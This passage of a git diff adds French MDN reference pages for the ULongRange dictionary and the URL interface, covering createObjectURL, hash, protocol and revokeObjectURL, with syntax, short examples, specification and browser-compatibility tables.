+ </tbody>
+</table>
diff --git a/files/fr/web/api/ulongrange/index.html b/files/fr/web/api/ulongrange/index.html
new file mode 100644
index 0000000000..b902f46959
--- /dev/null
+++ b/files/fr/web/api/ulongrange/index.html
@@ -0,0 +1,64 @@
+---
+title: ULongRange
+slug: Web/API/ULongRange
+tags:
+  - API
+  - API Media Streams
+  - API de capture multimédia et de flux
+  - Contraintes
+  - Dictionnaire
+  - Interface
+  - LongRange
+  - Media
+  - Reference
+  - WebRTC
+translation_of: Web/API/ULongRange
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>Le dictionnaire <strong><code>ULongRange</code></strong> est utilisé pour définir une plage de valeurs entières autorisées pour une propriété, avec l'une ou les deux valeurs maximale et minimale spécifiées. Le dictionnaire {{domxref("ConstrainULongRange")}} est basé sur cela, en l'augmentant pour prendre également en charge les valeurs exactes et idéales.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>max</code></dt>
+ <dd>Valeur numérique comprise dans la plage d'entiers 32 bits signés, spécifiant la plus grande valeur autorisée de la propriété qu'elle décrit.</dd>
+ <dt><code>min</code></dt>
+ <dd>Une valeur numérique dans la plage d'entiers 32 bits signés, spécifiant la plus petite valeur autorisée de la propriété qu'elle décrit.</dd>
+</dl>
+
+<p>Les valeurs <code>min</code> et/ou <code>max</code> spécifiées sont <em>obligatoires</em>. Si aucune correspondance ne peut être trouvée dans la plage donnée, une erreur se produit.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-ulongrange', 'ULongRange')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Définiton initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.ULongRange")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">API de capture multimédia et de flux</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Capacités, contraintes et paramètres</a></li>
+ <li>{{domxref("ConstrainULongRange")}}</li>
+ <li>{{domxref("MediaTrackConstraints")}}</li>
+ <li>{{domxref("MediaTrackCapabilities")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+</ul>
diff --git a/files/fr/web/api/url/createobjecturl/index.html b/files/fr/web/api/url/createobjecturl/index.html
new file mode 100644
index 0000000000..7fb1edca6b
--- /dev/null
+++ b/files/fr/web/api/url/createobjecturl/index.html
@@ -0,0 +1,96 @@
+---
+title: URL.createObjectURL
+slug: Web/API/URL/createObjectURL
+translation_of: Web/API/URL/createObjectURL
+---
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>{{APIRef("URL")}}<br>
+ La méthode statique <strong>URL.createObjectURL()</strong> crée une chaîne contenant une URL représentant l’objet passé en paramètre. La durée de vie de l’URL est liée au {{domxref("document")}} de la fenêtre depuis laquelle elle a été créée. La nouvelle URL d’objet représente l’objet {{domxref("File")}} ou {{domxref("Blob")}} spécifié.</p>
+
+<p>Pour libérer une URL d’objet, il faut appeler {{domxref("URL.revokeObjectURL", "revokeObjectURL()")}}</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cette fonctionnalité n'est pas disponible dans les <a href="/fr/docs/Web/API/ServiceWorker">Service Workers</a> à cause de possible fuite mémoire.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>objectURL</em> = URL.createObjectURL(<em>object</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>Un objet {{domxref("File")}}, {{domxref("Blob")}} ou {{domxref("MediaSource")}} pour lequel créer une URL d’objet.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<dl>
+ <dd>Une {{domxref("DOMString")}} contenant une URL d’objet, pouvant être utilisée comme une référence vers l’objet source <code>object</code> spécifié.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Voir <a href="/fr/docs/Web/API/File/Using_files_from_web_applications#Exemple_Utilisation_de_l'objet_URLs_pour_afficher_des_images" title="https://developer.mozilla.org/en/Using_files_from_web_applications#Example:_Using_object_URLs_to_display_images">Utilisation de l’objet URLs pour afficher des images</a>.</p>
+
+<h2 id="Notes" name="Notes">Notes d’utilisation</h2>
+
+<h3 id="Gestion_de_la_mémoire">Gestion de la mémoire</h3>
+
+<p>À chaque fois que vous appelez <code>createObjectURL()</code>, une nouvelle URL d’objet est créée, même si vous en avez déjà créée une pour le même objet. Chacune d’elles doit être libérée en appelant {{domxref("URL.revokeObjectURL()")}} lorsque vous n’en avez plus besoin.</p>
+
+<p>Les navigateurs libèrent automatiquement les URL d’objet lorsque le document est déchargé (<em>unload</em>) ; cependant, pour une performance et une utilisation de la mémoire optimales, si vous avez la possiblité de les libérer explictement sans danger, vous devriez le faire.</p>
+
+<h3 id="Utiliser_les_URL_d’objet_pour_les_flux_de_média">Utiliser les URL d’objet pour les flux de média</h3>
+
+<p>Dans d’anciennes versions de la spécification de Media Source, attacher un flux à un élément {{HTMLElement("video")}} requiérait de créer une URL d’objet pour le {{domxref("MediaStream")}}. Cela n’est plus nécessaire, et les navigateurs cessent progressivement de supporter cette pratique.</p>
+
+<div class="warning">
+<p><strong>Important :</strong> si vous avez toujours du code qui repose sur {{domxref("URL.createObjectURL")}} pour attacher des flux à des éléments média, vous devez mettre à jour votre code pour attacher simplement {{domxref("HTMLMediaElement.srcObject", "srcObject")}} directement au <code>MediaStream</code>.</p>
+</div>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#dfn-createObjectURL", "createObjectURL()")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Media Source Extensions", "#dom-url-createobjecturl", "URL")}}</td>
+   <td>{{Spec2("Media Source Extensions")}}</td>
+   <td>
+    <p>Extension MediaSource.<br>
+     Les anciennes versions de cette spécification utilisaient <code>createObjectURL()</code> pour les objets {{domxref("MediaStream")}} ; ce n’est plus supporté.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.URL.createObjectURL")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/File/Using_files_from_web_applications" title="Using files from web applications">Utiliser des fichiers à partir d’applications web</a></li>
+ <li><a href="/fr/docs/Web/API/File/Using_files_from_web_applications#Exemple_Utilisation_de_l'objet_URLs_pour_afficher_des_images" title="https://developer.mozilla.org/en/Using_files_from_web_applications#Example:_Using_object_URLs_to_display_images">Utilisation de l’objet URLs pour afficher des images</a></li>
+ <li>{{domxref("URL.revokeObjectURL()")}}</li>
+ <li>{{domxref("HTMLMediaElement.srcObject")}}</li>
+ <li>{{domxref("FileReader.readAsDataURL()")}}</li>
+</ul>
diff --git a/files/fr/web/api/url/hash/index.html b/files/fr/web/api/url/hash/index.html
new file mode 100644
index 0000000000..df993c4a2f
--- /dev/null
+++ b/files/fr/web/api/url/hash/index.html
@@ -0,0 +1,62 @@
+---
+title: URL.hash
+slug: Web/API/URL/hash
+tags:
+  - API
+  - Hash
+  - Propriété
+  - Reference
+  - URL
+translation_of: Web/API/URL/hash
+---
+<div>{{ APIRef("URL API") }}</div>
+
+<p><span class="seoSummary">La propriété <strong><code>hash</code></strong> de l'interface {{domxref("URL")}} retourne un {{domxref("USVString")}} contenant le caractère <code>'#'</code> suivi par l'identificateur de fragment de URL.</span></p>
+
+<p>Le fragment n'est pas <a href="/en-US/docs/Glossary/percent-encoding">décodé en pourcent</a>. Si l'URL ne contient pas d'identificateur de fragment, la valeur de cette propriété est une chaîne de caractère vide — <code>""</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.hash;
+<em>object</em>.hash = <em>string</em>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("USVString")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">var url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/href#Examples');
+url.hash // Returns '#Examples'</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-hash', 'URL.hash')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.URL.hash")}}</p>
+
+<h2 id="A_voir_également">A voir également</h2>
+
+<ul>
+ <li>L'interface {{domxref("URL")}} dont il est contenu.</li>
+</ul>
diff --git a/files/fr/web/api/url/index.html b/files/fr/web/api/url/index.html
new file mode 100644
index 0000000000..0036163e08
--- /dev/null
+++ b/files/fr/web/api/url/index.html
@@ -0,0 +1,275 @@
+---
+title: URL
+slug: Web/API/URL
+tags:
+  - API
+  - References
+  - URL
+translation_of: Web/API/URL
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>L'interface <strong><code>URL</code></strong><strong> </strong>représente un objet qui fournit des méthodes statiques utilisées pour créer des URL d'objet.</p>
+
+<p><span id="result_box" lang="fr"><span>Lors de l'utilisation d'un agent utilisateur dans lequel aucun constructeur n'a encore été implémenté, il est possible d'accéder à un objet en utilisant les propriétés</span></span> {{domxref("Window.URL")}} (préfixées sur un navigateur basé sur Webkit tel que <code>Window.webkitURL</code>).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Utilisation">Utilisation</h2>
+
+<p>Le constructeur <span id="result_box" lang="fr"><span>prend un paramètre url et un paramètre de base facultatif à utiliser comme base si le paramètre url est une URL relative :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">const</span> url <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">URL</span><span class="punctuation token">(</span><span class="string token">'../cats'</span><span class="punctuation token">,</span> <span class="string token">'http://www.example.com/dogs'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>hostname<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "www.example.com"</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>pathname<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "/cats"</span></code></pre>
+
+<p>Les propriétés de l'URL peuvent être définies pour construire l'URL :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">url<span class="punctuation token">.</span>hash <span class="operator token">=</span> <span class="string token">'tabby'</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>href<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "http://www.example.com/cats#tabby"</span></code></pre>
+
+<p>Les URL seront encodées selon la norme RFC 3986:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">url<span class="punctuation token">.</span>pathname <span class="operator token">=</span> <span class="string token">'démonstration.html'</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>url<span class="punctuation token">.</span>href<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "http://www.example.com/d%C3%A9monstration.html"</span></code></pre>
+
+<p>L'interface {{domxref("URLSearchParams")}}  peut être utilisée pour construire et manipuler la chaîne de requête de l'URL.</p>
+
+<p><span id="result_box" lang="fr"><span>Pour obtenir les paramètres de recherche à partir de l'URL de la fenêtre en cours :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// https://some.site/?id=123</span>
+<span class="keyword token">var</span> parsedUrl <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">URL</span><span class="punctuation token">(</span>window<span class="punctuation token">.</span>location<span class="punctuation token">.</span>href<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>parsedUrl<span class="punctuation token">.</span>searchParams<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">"id"</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 123</span></code></pre>
+
+<p>La méthode <code>stringifier</code> de l' <code>URL</code> est la propriété <code>href</code> , ainsi le constructeur<span id="result_box" lang="fr"><span> peut être utilisé pour normaliser et encoder directement une URL :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">const</span> response <span class="operator token">=</span> <span class="keyword token">await</span> <span class="function token">fetch</span><span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">URL</span><span class="punctuation token">(</span><span class="string token">'http://www.example.com/démonstration.html'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("URL.URL", "URL()")}} {{experimental_inline}}</dt>
+ <dd>Crée et retourne un objet <code>URL</code>  composé des paramètres donnés.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("URL.hash")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant un <code>'#'</code> <span class="short_text" id="result_box" lang="fr"><span>suivi de l'identifiant du fragment de l'URL.</span></span></dd>
+ <dt>{{domxref("URL.host")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant l'hôte, c'est-à-dire le <em>hostname (nom d'hôte)</em>, <code>':'</code>et le <em>port</em> de l'URL.</dd>
+ <dt>{{domxref("URL.hostname")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant le domaine de l'URL.</dd>
+ <dt>{{domxref("URL.href")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant l'URL entière.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("URL.origin")}} {{readonlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant l'origine de l'URL, <span class="short_text" id="result_box" lang="fr"><span>c'est son schéma, son domaine et son port</span></span> .</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("URL.password")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant le mot de passe spécifié avant le nom du domaine.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("URL.pathname")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant une barre oblique initiale <code>'/'</code>suivie du chemin de l'URL.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("URL.port")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant le numéro de port de l'URL.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("URL.protocol")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant le schéma du protocole de l'URL, y compris le final <code>':'</code>.</dd>
+ <dt>{{domxref("URL.search")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant un <code>'?'</code> suivi par les paramètres de l'URL.</dd>
+ <dt>{{domxref("URL.searchParams")}}</dt>
+ <dd>Retourne un objet {{domxref("URLSearchParams")}}  <span id="result_box" lang="fr"><span>permettant d'accéder aux arguments de requête GET contenus dans l'URL.</span></span></dd>
+ <dt>{{domxref("URL.username")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant<span id="result_box" lang="fr"><span> le nom d'utilisateur spécifié avant le nom de domaine.</span></span></dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L'interface <code>URL</code> </em> <span id="result_box" lang="fr"><span>implémente les méthodes définies dans </span></span><em>{{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.toString()")}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant l'URL entière. C'est un synonyme de {{domxref("URLUtils.href")}}, mais il ne peut pas être utilisé pour modifier la valeur.</dd>
+ <dt>{{domxref("URL.toJSON()")}} <sup>[disponible depuis FireFox v54]</sup></dt>
+ <dd>Retourne une {{domxref("DOMString")}}   <em>(chaîne de caractères)</em> contenant l'URL entière. Il retourne la même chaîne que la propriété <code>href</code> .</dd>
+</dl>
+
+<h2 id="Méthodes_statiques">Méthodes statiques</h2>
+
+<dl>
+ <dt>{{ domxref("URL.createObjectURL()") }}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant un "blob URL" unique ; c'est une URL avec <code>blob :</code> <span id="result_box" lang="fr"><span>son schéma suivi d'une chaîne opaque identifiant de manière unique l'objet dans le navigateur.</span></span></dd>
+ <dt>{{ domxref("URL.revokeObjectURL()") }}</dt>
+ <dd><span id="result_box" lang="fr"><span>Révoque un objet URL précédemment créé avec {{domxref ("URL.createObjectURL ()")}}.</span></span></dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#creating-revoking', 'URL')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Ajoute les méthodes statiques <code>URL.createObjectURL()</code> et <code>URL.revokeObjectURL</code><code>()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#api', 'API')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Définition initiale (implémente <code>URLUtils</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalités</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>8.0<sup>[2]</sup><br>
+    32</td>
+   <td>In Development<sup>[5]</sup></td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1][3][6]</sup><br>
+    {{CompatGeckoDesktop("19.0")}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>15.0<sup>[2]</sup><br>
+    19</td>
+   <td>6.0<sup>[2]</sup><br>
+    7.0</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatChrome(52)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>19</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>searchParams</code></td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>36</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>toJSON</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("54")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile"> </div>
+
+<div>
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalités</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4<sup>[2]</sup><br>
+    4.4</td>
+   <td>8.0<sup>[2]</sup><br>
+    32</td>
+   <td>{{CompatGeckoMobile("14.0")}}<sup>[1][3][6]</sup><br>
+    {{CompatGeckoMobile("19.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>15.0<sup>[2]</sup></td>
+   <td>6.0<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatChrome(52)}}</td>
+   <td>{{CompatChrome(52)}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>searchParams</code></td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatGeckoMobile("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div> </div>
+</div>
+
+<p>[1] De Gecko 2 (Firefox 4) à Gecko 18 inclus, Gecko a mis en oeuvre cette interface avec le type interne non-standard <code>nsIDOMMozURLProperty</code> . <span class="short_text" id="result_box" lang="fr"><span>Comme le seul accès à ce type d'objet était à travers</span></span> {{domxref("window.URL")}}, <span class="short_text" id="result_box" lang="fr"><span>en pratique, cela ne faisait aucune différence.</span></span></p>
+
+<p>[2] Cette fonctionnalité est implémentée sous le nom non-standard <code>webkitURL</code>.</p>
+
+<p>[3] <span id="result_box" lang="fr"><span>Pour Firefox, à utiliser à partir du code chrome, portée JSM et Bootstrap, vous devez l'importer comme ceci :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">Cu<span class="punctuation token">.</span><span class="function token">importGlobalProperties</span><span class="punctuation token">(</span><span class="punctuation token">[</span><span class="string token">'URL'</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p><code>URL</code> est disponible pour les portées du "Worker" .</p>
+
+<p>[4] <span id="result_box" lang="fr"><span>Depuis IE11, l'instanciation de nouveaux objets URL n'est pas prise en charge,</span> c'est-à-dire que la <span>nouvelle </span></span> <code>URL()</code> <span lang="fr"><span> ne fonctionne pas.</span></span></p>
+
+<p>[5] Edge en développement : voir <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/urlapi/">https://developer.microsoft.com/en-us/microsoft-edge/platform/status/urlapi/</a>  et <a href="https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6263638-url-api">https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6263638-url-api</a>.</p>
+
+<p>[6] Firefox a un bogue <span id="result_box" lang="fr"><span>dans lequel les apostrophes contenues dans les URL s'échappent lorsqu'elles sont accessibles par les URL des API </span></span> ({{bug(1386683)}}). <span class="short_text" id="result_box" lang="fr"><span>Cela a été corrigé à partir de Firefox 57</span></span> .</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="fr"><span>Propriété permettant d'obtenir cet objet</span></span> : {{domxref("Window.URL")}}.</li>
+ <li>{{domxref("URLSearchParams")}}.</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties (en)</a></li>
+</ul>
diff --git a/files/fr/web/api/url/protocol/index.html b/files/fr/web/api/url/protocol/index.html
new file mode 100644
index 0000000000..a67e867df9
--- /dev/null
+++ b/files/fr/web/api/url/protocol/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.protocol
+slug: Web/API/URL/protocol
+tags:
+  - API
+  - Propriété
+  - Reference
+  - URL
+  - protocole
+translation_of: Web/API/URL/protocol
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>La propriété <strong><code>protocol</code></strong> de l'interface {{domxref("URL")}} est une {{domxref("USVString")}} représentant le schéma protocolaire de URL, incluant <code>':'</code> à la fin.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.protocol;
+<em>object</em>.protocol = <em>string</em>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("USVString")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/protocol');
+var result = url.protocol; // Retourne:"https:"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-protocol', 'protocol')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.URL.protocol")}}</p>
+
+<h2 id="A_voir_également">A voir également</h2>
+
+<ul>
+ <li>L'interface {{domxref("URL")}} dont il est contenu.</li>
+</ul>
diff --git a/files/fr/web/api/url/revokeobjecturl/index.html b/files/fr/web/api/url/revokeobjecturl/index.html
new file mode 100644
index 0000000000..a0e9f0980e
--- /dev/null
+++ b/files/fr/web/api/url/revokeobjecturl/index.html
@@ -0,0 +1,64 @@
+---
+title: URL.revokeObjectURL()
+slug: Web/API/URL/revokeObjectURL
+translation_of: Web/API/URL/revokeObjectURL
+---
+<div>{{ApiRef("URL")}}</div>
+
+<p><span class="seoSummary">La méthode statique <strong><code>URL.revokeObjectURL()</code></strong> libère une URL d’objet existante précédemment créée par un appel à {{domxref("URL.createObjectURL()") }}.</span> Appelez cette méthode quand vous n’utilisez plus une URL d’objet pour indiquer au navigateur qu’il ne doit plus garder de référence sur l’objet.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>window</em>.URL.revokeObjectURL(<em>objectURL</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>objectURL </code></dt>
+ <dd>Une {{domxref("DOMString")}} représentant une URL d’objet qui a été précédemment créée par un appel à {{domxref("URL.createObjectURL", "createObjectURL()") }}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>undefined</code>.</p>
+
+<ul>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Voir <a href="/fr/docs/Web/API/File/Using_files_from_web_applications#Exemple_Utilisation_de_l'objet_URLs_pour_afficher_des_images">Utilisation de l’objet URLs pour afficher des images</a>.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-revokeObjectURL', 'revokeObjectURL()')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.URL.revokeObjectURL")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/File/Using_files_from_web_applications">Utiliser des fichiers à partir d’applications web</a></li>
